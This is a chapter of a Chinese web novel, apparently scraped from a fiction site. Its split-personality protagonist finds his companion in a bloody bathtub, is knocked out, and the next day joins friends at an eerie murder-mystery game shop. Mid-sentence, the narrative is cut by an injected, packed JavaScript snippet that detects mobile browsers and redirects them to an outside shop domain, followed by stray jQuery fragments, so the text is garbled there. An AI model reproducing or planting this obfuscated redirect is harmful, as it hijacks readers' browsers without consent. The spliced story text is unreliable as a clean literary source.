小时吟说干就干,悄悄移步到浴室门前握住了门把手。
他深呼吸,闭上眼,把手转动了四分之一圈又回去了。
“我,我不敢……”小时吟将手放了下去,两只手交缠在一起胡乱摩挲着。
“你不行,那我来。”岁时吟说。
小时吟乖乖听话,立马将控制权让了出去。
岁时吟毫不含糊地打开了浴室门,浓雾合着一股淡淡的薰衣草香,岁时吟感觉自己的裸露出的皮肤都滚烫了几分。
他的目光精准落在温碎的上半身,随后缓缓下移……
好像……有什么不对……
岁时吟咽了咽口水,他发现那浴缸里的水好像不对,怎么是红的,有点像……
血……
温碎正躺在这盛了一缸子红色不知名液体之中,即便是岁时吟发出这么大动静,也没半点反应。
岁时吟顿时心里砰砰直跳,脚却不由自主往前挪,忽然“咚”的一声,他发觉自己好像踢到了什么东西。
顺着声音望去,岁时吟看到了地板砖上的红色痕迹,痕迹尽头赫然躺着一把匕首,刃上还带着……
他的心咯噔一条,顿时脸色煞白,顾不上自己到底是为了什么进来就要去查看温碎的情况。
当他快要看清温碎的脸时,后颈处传来一阵疼痛,好像人被打了一样,随后晕了过去。
……
今夜月色正浓,隔着窗户打在男人的侧颜上,咖啡色大衣衣摆垂在沙发边,他双手合十放在大腿上,轻笑出声:“你说人怎么能捅出这么大的篓子。”
“你说怎么有人说话总是阴阳怪气。”温碎坐在床边,继续说,“江止,你到底来干什么。”
江止一扬眉,说:“我要是不来,你打算怎么处理这个小人类?某人在公司群里问‘有人知道怎么养一个小人类吗?人类可以吃猫粮吗?’,完事又往公司论坛发,现在全公司的人都知道你——温碎,要把人当猫养!庆幸我是你老板吧,事情已经被我压下去了,要不然你这反人类行为是要被管理层拉回去重新考证的。”
温碎一歪头,疑惑说:“你说的,如果我有问题可以在群里问,群里解决不了就去论坛,再解决……”
“停停停,”江止打断温碎,一扶头,无力地笑了一声,“我让你问的是工作!工作!你知道什么是工作吗?”
温碎没吭声,只是静静地盯着江止看,隔着面具,没人知道他是什么表情。
江止被气到失语,他伸手指着温碎好一会,最终只蹦出几个字,“以后和我说话不许用面具!”
“根据公司管理制度第231条,上班要带工作证,因为你没带工作证,所以现在不是我老板,我没有义务听江止的话。”温碎说。
江止:……
当初因为温碎社恐的跟个哑巴似的,江止便让公司研发出这个面具,戴上以后,面具就可以自己说话,且能完全模仿温碎原本的声音,以及变换不同语气。
可现在江止发现,此举简直是搬起石头砸自己的脚,温碎他丫的每次都让他跟AI对话,跟AI对话就算了,这破AI每次说话都气人的很,简直不像话。
总之,他得去技术部门一趟,这破玩意一定要改!至少跟他说话的时候不能用。
江止再也没什么心思跟温碎扯别的了,不含糊地切入正题:“小黑,你这次任务需要格外小心,有情报说他们跟复神会有关。因为现在还没有证据,所以没办法派出更多的人,但是我们会为你提供外部支援。”
温碎顿了顿,突然激昂起来:“我是谁啊,我可是上天入地、无所不能、帅气吊炸天的温碎,还能有让我格外小心的任务?我不信!”
江止满脸黑线,并发誓回去以后就让技术部今晚加班,必须要把这个破面具改了。
——
岁时吟醒来,是被门口的敲门声吵醒的,他坐起身揉了揉左眼四处看,屋里却只有他一个,温碎已然不知道去了哪里。
敲门声又响了几下,“大祖宗,您起了吗?我买了早餐!”
岁时吟烦躁地弯腰去找拖鞋,后颈处突如其来的疼痛感让他彻底清醒过来。
昨天晚上他好像怂恿小时吟去偷看温碎洗澡,结果看到了温碎躺在一缸血水里……
想到这儿,岁时吟彻底坐不住了,赤着脚就急匆匆去浴室。
他打开浴室门,里面的水雾气早已散去,浴缸里干干净什么都没有,地板上也没有那把匕首。
“小时吟,你昨天晚上明明也看见了。”
“看到了,可是温碎碎去哪了。”小时吟在岁时吟心里答。
岁时吟深吸一口气,正想着该怎么办,一转头房门的门把手被人拧动了,门开了,开门的是温碎!
白雪霁跟在温碎身后进了屋,见大祖宗正站在浴室门口发愣,刚想说什么,大祖宗便朝自己走了过来。
他以为大祖宗饿了要吃早餐,谁曾想他刚把早餐递过去,大祖宗就径直地掠过了他,去抱正站在桌前的圆圆。
这两人的进度怎么这么快?
温碎刚准备把买的早点的摆出来,感到有人从背后抱自己,浑身一僵,好似不是很习惯。
岁时吟把头埋在温碎后背,问:“你昨天晚上,满缸子都是血,你出什么事吗……”
温碎扒开他的手,温声说:“我还想问你,你偷看我洗澡就算了,还突然晕了过去了。至于血什么的,应该是你看错了吧,那是酒店自带的肥皂,放进水里就会变红。或者是你晕血?因为浴缸里的水像血所以晕了过去?”
岁时吟觉得温碎有点奇怪,但是却说不上来哪里奇怪,突然想起浴室地上的那把匕首。
“可是,我看见了,地上有匕首,上面……”
“你说的这把?”温碎掀开冲锋衣,取下腰间的匕首给岁时吟看,“或许是脱衣服的时候掉了吧。”
一旁的白雪霁差点把下巴惊掉了,虽然他对岁时吟会做什么有点心理准备,但显然准备的不够。
为了霸王硬上弓偷看别人洗澡这种事也太丢人了吧。
温碎借面具三言两语将岁时吟哄好,让他吃早餐。
他为了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714756|208502||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
养小人类,搜了一晚上的攻略,一大早就去了这附近最有名的广式早茶店排队,排了两个钟头才买到。
白雪霁见状,也把自己买的豆浆油条拿过来给岁时吟吃,结果被无情婉拒。
理由:“我只吃温碎碎给的。”
白雪霁:……我是最后一个知道圆圆真名叫温碎碎的。
下午三人退了房,打车去邀请函上的地址,到了地方才知道什么叫店面装修风格很怪异容易辨认。
这店周围其他店的墙都是白或者掺杂点其他好看的颜色,只有它整个店都是黑的,店名用的还是匾额,写了四个大字“雪生三厄”,匾额周围还围了一圈白色丝绸花,两根缎带垂在两侧,不知道还以为这店正办丧事。
因为这座店没有窗户,门也不是玻璃的,远远望去简直晦气至极,像座活脱脱的大棺材。
岁时吟还正式点评了一二:“确定这是剧本杀店不是棺材铺?”
白雪霁看着导航核对半天,也疑惑,“导航显示就是这里,应该错不了。”
那当然错不了,这条街除了这个店还有比它更“风格怪异容易辨认”的吗?
岁时吟正想进去看看,温碎便先他一步。
屋内的装修跟屋外完全反着来,里面所有的东西都是白的。
店中间放了一张十几米长的大桌子,被白色的桌布覆盖,三个白玉质地的花瓶整齐摆放在在中间,每个瓶子里面都插着一枝白梅。
墙上挂着一副画,同样被白布裹着,如果站在桌子另一侧看这幅画,像是供桌上上了三炷香在拜些什么。
白雪霁看的心里发毛,一扭头便见自己身边正站着一位身穿白衣的男人。
靠,这人什么时候过来的。
他不禁心里吐槽,可男人笑眯眯的,突然说:“我一直都在这里。”
白雪霁吓得直往岁时吟身后躲里,嘴里还念叨着:“大祖宗再此,邪魔退散。”
岁时吟无语,他是真想不明白这傻子怎么沾上了这么大的因果,真的会有人对傻子图谋不轨吗?
那白衣男人走到桌前拉开三张椅子,“客人们先请坐,随后会给各位上茶水,邀请函要在桌子上摆好,没有邀请函的话会被赶出去的呦。”
说完,那男人还深深地看了岁时吟一眼。
岁时吟当然清楚这人在点他,他只是陪同白雪霁来,确实并没有邀请函。
这样也说明一件事,这邀请函至少不是胡乱寄出去的,他们调查过收信人的背景。
可是温碎……
岁时吟忍不住好奇心,轻声问:“你的邀请函是怎么来的?”
温碎答:“买的。”
岁时吟倒也理解了,当初他们联系圆圆的时候,这圆圆明明是个妹子,怎么就突然变成男的,居然还是温碎。
只是因为他见到温碎,就满心满眼都是温碎,居然把这一茬给了忘了。
不一会儿,里屋里走出一位穿旗袍的姑娘端着茶壶依次给他们倒了水。
白雪霁刚想说谢谢,抬头一看,一张诡异的脸正盯着他看。